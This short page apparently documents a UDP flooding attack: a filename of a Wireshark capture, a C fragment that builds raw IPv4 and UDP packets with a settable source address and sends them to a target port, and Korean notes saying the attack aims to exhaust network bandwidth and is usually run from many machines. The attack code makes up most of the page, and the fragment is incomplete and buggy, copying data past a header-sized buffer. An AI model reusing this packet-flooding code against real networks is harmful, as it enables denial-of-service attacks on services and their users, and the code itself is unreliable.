Wireshark Capture
210301_udp.pcapng

Code Implementation
//make ip header
struct iphdr ipv4_h;
ipv4_h = prepare_empty_ipv4();
ipv4_h = ipv4_set_protocol(ipv4_h, IPPROTO_UDP);
ipv4_h = ipv4_set_saddr(ipv4_h, inet_addr(g_udp_now_src_ip));
ipv4_h = ipv4_set_daddr(ipv4_h, inet_addr(g_udp_now_dest_ip));
ipv4_h = ipv4_add_size(ipv4_h, sizeof(struct udphdr));
// make udp header
struct udphdr *udp_h_ptr;
char buf[sizeof(struct udphdr)];
memset(buf, 0x00, sizeof(struct udphdr));
udp_h_ptr = (struct udphdr *)buf;
udp_h_ptr->checksum = 0;
udp_h_ptr->src_port = htons(0);
udp_h_ptr->dest_port = htons(g_udp_now_dest_port);
strcpy(udp_h_ptr -> data, DATA);
udp_h_ptr->len = htons(strlen(DATA));
//assembe ip part with udp.
char *packet = packet_assemble(ipv4_h, udp_h_ptr, sizeof(struct udphdr));
send_packet(sock, ipv4_h, packet, g_udp_now_dest_port);
free(packet);
How it works
- UDP Flooding은 네트워크 bandwidth를 소모시키는 것이 목적인 공격이다.
- Bandwidth를 유의미한 수준으로 소모해야 공격이 이루어지기 때문에 다수의 컴퓨터로 공격을 진행하는 것이 일반적이다.